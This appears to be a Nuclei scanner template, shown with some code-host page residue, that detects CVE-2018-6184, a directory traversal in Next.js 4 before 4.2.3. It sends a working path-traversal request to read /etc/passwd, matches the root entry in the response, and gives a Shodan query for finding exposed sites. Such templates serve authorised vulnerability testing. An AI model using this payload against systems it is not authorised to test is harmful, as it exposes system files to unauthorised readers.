37 lines
988 B
YAML
37 lines
988 B
YAML
id: CVE-2018-6184
|
|
|
|
info:
|
|
name: ZEIT Next.js Framework Path Traversal
|
|
author: DhiyaneshDK
|
|
severity: high
|
|
description: |
|
|
ZEIT Next.js 4 before 4.2.3 has Directory Traversal under the /_next request namespace.
|
|
reference:
|
|
- https://github.com/PortSwigger/j2ee-scan/blob/master/src/main/java/burp/j2ee/issues/impl/NextFrameworkPathTraversal.java
|
|
- https://nvd.nist.gov/vuln/detail/CVE-2018-6184
|
|
- https://github.com/zeit/next.js/releases/tag/4.2.3
|
|
classification:
|
|
cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
|
|
cvss-score: 7.5
|
|
cve-id: CVE-2018-6184
|
|
cwe-id: CWE-22
|
|
metadata:
|
|
shodan-query: html:"/_next/static"
|
|
tags: cve,cve2018,nextjs,lfi,traversal
|
|
|
|
requests:
|
|
- method: GET
|
|
path:
|
|
- "{{BaseURL}}/_next/../../../../../../../../../etc/passwd"
|
|
|
|
matchers-condition: and
|
|
matchers:
|
|
- type: regex
|
|
part: body
|
|
regex:
|
|
- "root:.*:0:0:"
|
|
|
|
- type: status
|
|
status:
|
|
- 200
|